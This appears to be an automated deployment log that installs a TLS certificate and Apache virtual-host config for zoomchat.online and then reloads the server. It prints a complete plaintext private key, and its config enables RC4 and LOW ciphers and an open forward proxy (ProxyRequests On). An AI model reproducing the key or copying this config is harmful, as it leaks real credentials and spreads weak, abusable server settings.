rm YpiKmCX5jLQpyyPb-UZ-eczor5CpRrwf9YRGIp9Q5Pk


2026-03-02 06:00:19: 

chmod 755 /tmp/pkp485894; /tmp/pkp485894; rm /tmp/pkp485894

2026-03-02 06:00:19: 




2026-03-02 06:00:19: Establishing a connection
2026-03-02 06:00:20: 

PUT: /tmp/pkp429013

#!/bin/bash
temp_file=$(mktemp)
TARGET=842c702c1ca7114dc2c211c70793b244.crt

cat > $temp_file <<'endmsg'
0f:e3:d0:61:bd:63:47:34:af:3f:8e:54:05:7a:6d:b0

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBhzQYzCiQHHYvhwlowPsm+HGMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzAyMDUwMTQ2WhcNMjYwNTMxMDUwMTQ1WjAaMRgwFgYDVQQD
Ew96b29tY2hhdC5vbmxpbmUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCoOboKAAyYa/tt0ZPQR4deEbD8P+I/pRw/cZ3R3yjyz1ZxaxX+7j7+KCPefUDK
03/AEwDGWQGKW7/XQoaaHz1W8C9OMfLtEtD8tghPmKQhL755XsWNiG58RniT52z6
tfknjZ2bdnLdKAyQv+z4N4aCZGNO9z6E/J5EwSuHgreyaGke8x4ulXoywyYiUD6u
mpGK7OTRYFkUsraaU/nfSbnaWD8XjX/objtgd80aidITpVYtY40E/eZS9H+0bCs+
EACYZSdRS8hP7omWnSmq89WloHhzY45gCW8TlKSYQe9a/63B4uVPSIcLWQ7wNCkI
iDkT4obLYUIRpnzVd0VuS53TAgMBAAGjggIxMIICLTAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUPDv/
+RI6kBSs5ac8bhnlZb7vzu0wHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKEDjvW
kjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmkubGVu
Y3Iub3JnLzAvBgNVHREEKDAmghN3d3cuem9vbWNoYXQub25saW5lgg96b29tY2hh
dC5vbmxpbmUwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4Yd
aHR0cDovL3IxMy5jLmxlbmNyLm9yZy83MS5jcmwwggELBgorBgEEAdZ5AgQCBIH8
BIH5APcAdQBkEcRspBLsp4kcogIuALyrTygH1B41J6vq/tUDyX3N8AAAAZytIg78
AAAEAwBGMEQCIAct+F7RPI51tkmqajj2DtjITGiG8ao1IY8yum5FKzD1AiBSaac8
7hHrhlHbzr5bXX/x355tbZmtogsYLPEfHsik7gB+AOMjjfKNoojgquCs8PqQyYXw
tr/10qUnsAH8HERYxLboAAABnK0iD4sACAAABQA0OG7LBAMARzBFAiB2sJDzF9n5
m6Qn8L7zIlCHD6uoqEuPrJzrkSXVNGP+WQIhAMkSR01wgV6EObyRTuNsHi1Ro/MD
VUfKwEvLgQTUewctMA0GCSqGSIb3DQEBCwUAA4IBAQACGXavZemPzKh8wS7j9CKf
Dneombdc3egGFC4OqnYRWK5P01gL73bdeSkkbT489nVE1l2w+tOtehhasZkYRR6X
h3PIVF0IZ0wMJVC8MVKsZ7CSF4+3CFrHgmpygBhNHdyYZ4nT36UgIWwNscW5h6iq
//aeFDH8Y444NfSzNOBrne2Ak+92yh6JoORa5qcO4J/hjNUGlIqGcTyeyrJJVlEd
SbSuKkXlfEzL0M4w/capY4tO7CaoPX1KlXsyf8pEMBG1GdWNKSFPjJI+0MjpVrPB
/oh3N73jt3J6GQwESEbte02wgOA8APXdewmlsft5ET2zOCxEsN46V6i2bvq+D+YH
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCoOboKAAyYa/tt
0ZPQR4deEbD8P+I/pRw/cZ3R3yjyz1ZxaxX+7j7+KCPefUDK03/AEwDGWQGKW7/X
QoaaHz1W8C9OMfLtEtD8tghPmKQhL755XsWNiG58RniT52z6tfknjZ2bdnLdKAyQ
v+z4N4aCZGNO9z6E/J5EwSuHgreyaGke8x4ulXoywyYiUD6umpGK7OTRYFkUsraa
U/nfSbnaWD8XjX/objtgd80aidITpVYtY40E/eZS9H+0bCs+EACYZSdRS8hP7omW
nSmq89WloHhzY45gCW8TlKSYQe9a/63B4uVPSIcLWQ7wNCkIiDkT4obLYUIRpnzV
d0VuS53TAgMBAAECggEAFLnP/u1p9S7QnQNwzPy9uSGVhu6D/HK7howun9h5CLlH
ctUjskiTaugdIItD+/k6Hbr5ocuo0e1jNwJ+POd+Z4NTVgn3XlgEIYPNMFP5B2cE
y5qZMkp4ekfgZoXhD7PId6QN9++2+ne1sfEYzAK4nWtVhOQXSCEriq2rTu2+83Q7
DwgYcYY1Blelrk0guyUgWD55YHspCGg3laRvRIRL1llc3boKLivtDT7V4IzHtOJC
tAxovG3IespJI3W0dgOzzk8QNoifgva+y0OAVPRp39k6omTm4h3IJXu4G+VIdzlS
o4yt2riwwsFf6e/FgaOgV2iK/Q+mJdazpcx8fIC9cQKBgQDhBiALpeOvd8ozr68M
ojVfoQDEnQp2UJJN5RwgunvQW9IdBRvw68JJL1+OxsTmidlaiS1mOkQvs1daF/m5
1SJgAcCSsY3ARlhPntl3ykbduLaELu/iU8wkzc/rac44nWbYrBcdlwvcKtJ4nJ3B
6INJ+CNYi08YaJYEytfhgqGHeQKBgQC/YgROcAHPPHpxF2M4kjJVpQLZdeVTbdvc
uPAJ0Cd39+roPRG3T0ATwypCQc2ZZnT2+JDDB9uu7r9WkoSEgWOZJdw/0HJvB5o1
NjRDCBqnR5v0Qhll4heodfxun1/NTH1I40zklHzbC2iFFFhffgAdi43l27a1CE/o
FUV5rm8gqwKBgDFeEKW9jUgvtbLFNlhFNgR25B4+fc8bOh3Qx+z+PK+nlV88gbbH
YmZ/+Czwur4BPCg6tDUbT15PsDhZzjXQ5qu9dqw4O+sVA8bkCL3ZKNb38ULqsUIs
NDtW0+jH27BcB/Y9Ow0I2FdDJc3EPnAOPM97mvWQCphGSbNfdSFKcXmxAoGAHrBL
+nvxfla3V50ldvPSiHM+YrqJ/HfYUquBKkGroowpqfXo+lkF8GVSSG+e1WNdjCDN
rch7zLBSFELIZysMWol8qOr2/qDcdH3toXYSOBK+iktzIShBHO1WfjKmPRhv2plA
QkMhRkqtBvH9PcrJn/M53Mr/oEXl8lQ+4MU84qMCgYAJsXTJJG2u3Heq95QPM9U5
j/RPSxTY39T2FUYuQ8RGcMFljKQdxeuTxIj5xKxzCFeg4DmQXaXnugNM/H2wRlax
70KQegEg/6DpOsAMAXYIJoeRNPP3KJehxLKh3YwfWNAO0lwokCc8TxYWMkXCRn7m
+I6wQHulwbvcZmdrGgHg2g==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-02 06:00:21: 

chmod 755 /tmp/pkp429013; /tmp/pkp429013; rm /tmp/pkp429013

2026-03-02 06:00:22: 


dir=/etc/pki/tls/certs/


2026-03-02 06:00:22: 

PUT: /tmp/pkp236161

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/httpd/conf.d/zoomchat_www_online.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-02 06:00:22: 

chmod 755 /tmp/pkp236161; /tmp/pkp236161; rm /tmp/pkp236161

2026-03-02 06:00:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_online.conf 2243

<VirtualHost *:80>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    ProxyRequests	On
    RewriteEngine	On
    <Location /ws/>
        ProxyPass	ws://localhost:9512/
        ProxyPassReverse	ws://localhost:9512/
    </Location>
    
    <Location /wsx/>
        ProxyPass	http://localhost:9512/
        ProxyPassReverse	http://localhost:9512/
    </Location>
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-03-02 06:00:22: 

PUT: /tmp/pkp198474

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=zoomchat_www_online.conf
TARGET=/etc/httpd/conf.d/zoomchat_www_online.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    ProxyRequests	On
    RewriteEngine	On
    <Location /ws/>
        ProxyPass	ws://localhost:9512/
        ProxyPassReverse	ws://localhost:9512/
    </Location>
    
    <Location /wsx/>
        ProxyPass	http://localhost:9512/
        ProxyPassReverse	http://localhost:9512/
    </Location>
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/httpd/conf.d/zoomchat_www_online.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/httpd/sites-enabled/zoomchat_www_online.conf)= /etc/httpd//etc/httpd/conf.d/zoomchat_www_online.conf'
	echo 'file(/etc/httpd//etc/httpd/conf.d/zoomchat_www_online.conf= 1'
fi


2026-03-02 06:00:23: 

chmod 755 /tmp/pkp198474; /tmp/pkp198474; rm /tmp/pkp198474

2026-03-02 06:00:23: 




2026-03-02 06:00:23: 

PUT: /tmp/pkp268086

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-02 06:00:24: 

chmod 755 /tmp/pkp268086; /tmp/pkp268086; rm /tmp/pkp268086

2026-03-02 06:00:24: 


.


2026-03-02 06:00:24: Establishing a connection
2026-03-02 06:00:25: 

PUT: /tmp/pkp626725

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-02 06:00:26: 

chmod 755 /tmp/pkp626725; /tmp/pkp626725; rm /tmp/pkp626725

2026-03-02 06:00:27: 


[Mon Mar 02 06:00:27.050055 2026] [so:warn] [pid 1872707:tid 140645309458752] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
         port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
         port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
         port 80 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:2)
                 alias www.zoomchat.online
*:443                  is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
         port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
         port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
         port 443 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:30)
                 alias www.zoomchat.online
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex lua-ivm-shm: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default 
Mutex cache-socache: using_defaults
Mutex authdigest-opaque: using_defaults
Mutex watchdog-callback: using_defaults
Mutex proxy-balancer-shm: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.




STDERR:
[Mon Mar 02 06:00:27.050055 2026] [so:warn] [pid 1872707:tid 140645309458752] AH01574: module status_module is already loaded, skipping


2026-03-02 06:00:27: 

PUT: /tmp/pkp210799

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/httpd/conf.d/zoomchat_www_online.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-02 06:00:27: 

chmod 755 /tmp/pkp210799; /tmp/pkp210799; rm /tmp/pkp210799

2026-03-02 06:00:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_online.conf	2243

<VirtualHost *:80>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    ProxyRequests	On
    RewriteEngine	On
    <Location /ws/>
        ProxyPass	ws://localhost:9512/
        ProxyPassReverse	ws://localhost:9512/
    </Location>
    
    <Location /wsx/>
        ProxyPass	http://localhost:9512/
        ProxyPassReverse	http://localhost:9512/
    </Location>
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-03-02 06:00:27: 

PUT: /tmp/pkp664275

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-02 06:00:28: 

chmod 755 /tmp/pkp664275; /tmp/pkp664275; rm /tmp/pkp664275

2026-03-02 06:00:28: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt	5372
0f:e3:d0:61:bd:63:47:34:af:3f:8e:54:05:7a:6d:b0

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBhzQYzCiQHHYvhwlowPsm+HGMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzAyMDUwMTQ2WhcNMjYwNTMxMDUwMTQ1WjAaMRgwFgYDVQQD
Ew96b29tY2hhdC5vbmxpbmUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCoOboKAAyYa/tt0ZPQR4deEbD8P+I/pRw/cZ3R3yjyz1ZxaxX+7j7+KCPefUDK
03/AEwDGWQGKW7/XQoaaHz1W8C9OMfLtEtD8tghPmKQhL755XsWNiG58RniT52z6
tfknjZ2bdnLdKAyQv+z4N4aCZGNO9z6E/J5EwSuHgreyaGke8x4ulXoywyYiUD6u
mpGK7OTRYFkUsraaU/nfSbnaWD8XjX/objtgd80aidITpVYtY40E/eZS9H+0bCs+
EACYZSdRS8hP7omWnSmq89WloHhzY45gCW8TlKSYQe9a/63B4uVPSIcLWQ7wNCkI
iDkT4obLYUIRpnzVd0VuS53TAgMBAAGjggIxMIICLTAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUPDv/
+RI6kBSs5ac8bhnlZb7vzu0wHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKEDjvW
kjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmkubGVu
Y3Iub3JnLzAvBgNVHREEKDAmghN3d3cuem9vbWNoYXQub25saW5lgg96b29tY2hh
dC5vbmxpbmUwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4Yd
aHR0cDovL3IxMy5jLmxlbmNyLm9yZy83MS5jcmwwggELBgorBgEEAdZ5AgQCBIH8
BIH5APcAdQBkEcRspBLsp4kcogIuALyrTygH1B41J6vq/tUDyX3N8AAAAZytIg78
AAAEAwBGMEQCIAct+F7RPI51tkmqajj2DtjITGiG8ao1IY8yum5FKzD1AiBSaac8
7hHrhlHbzr5bXX/x355tbZmtogsYLPEfHsik7gB+AOMjjfKNoojgquCs8PqQyYXw
tr/10qUnsAH8HERYxLboAAABnK0iD4sACAAABQA0OG7LBAMARzBFAiB2sJDzF9n5
m6Qn8L7zIlCHD6uoqEuPrJzrkSXVNGP+WQIhAMkSR01wgV6EObyRTuNsHi1Ro/MD
VUfKwEvLgQTUewctMA0GCSqGSIb3DQEBCwUAA4IBAQACGXavZemPzKh8wS7j9CKf
Dneombdc3egGFC4OqnYRWK5P01gL73bdeSkkbT489nVE1l2w+tOtehhasZkYRR6X
h3PIVF0IZ0wMJVC8MVKsZ7CSF4+3CFrHgmpygBhNHdyYZ4nT36UgIWwNscW5h6iq
//aeFDH8Y444NfSzNOBrne2Ak+92yh6JoORa5qcO4J/hjNUGlIqGcTyeyrJJVlEd
SbSuKkXlfEzL0M4w/capY4tO7CaoPX1KlXsyf8pEMBG1GdWNKSFPjJI+0MjpVrPB
/oh3N73jt3J6GQwESEbte02wgOA8APXdewmlsft5ET2zOCxEsN46V6i2bvq+D+YH
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCoOboKAAyYa/tt
0ZPQR4deEbD8P+I/pRw/cZ3R3yjyz1ZxaxX+7j7+KCPefUDK03/AEwDGWQGKW7/X
QoaaHz1W8C9OMfLtEtD8tghPmKQhL755XsWNiG58RniT52z6tfknjZ2bdnLdKAyQ
v+z4N4aCZGNO9z6E/J5EwSuHgreyaGke8x4ulXoywyYiUD6umpGK7OTRYFkUsraa
U/nfSbnaWD8XjX/objtgd80aidITpVYtY40E/eZS9H+0bCs+EACYZSdRS8hP7omW
nSmq89WloHhzY45gCW8TlKSYQe9a/63B4uVPSIcLWQ7wNCkIiDkT4obLYUIRpnzV
d0VuS53TAgMBAAECggEAFLnP/u1p9S7QnQNwzPy9uSGVhu6D/HK7howun9h5CLlH
ctUjskiTaugdIItD+/k6Hbr5ocuo0e1jNwJ+POd+Z4NTVgn3XlgEIYPNMFP5B2cE
y5qZMkp4ekfgZoXhD7PId6QN9++2+ne1sfEYzAK4nWtVhOQXSCEriq2rTu2+83Q7
DwgYcYY1Blelrk0guyUgWD55YHspCGg3laRvRIRL1llc3boKLivtDT7V4IzHtOJC
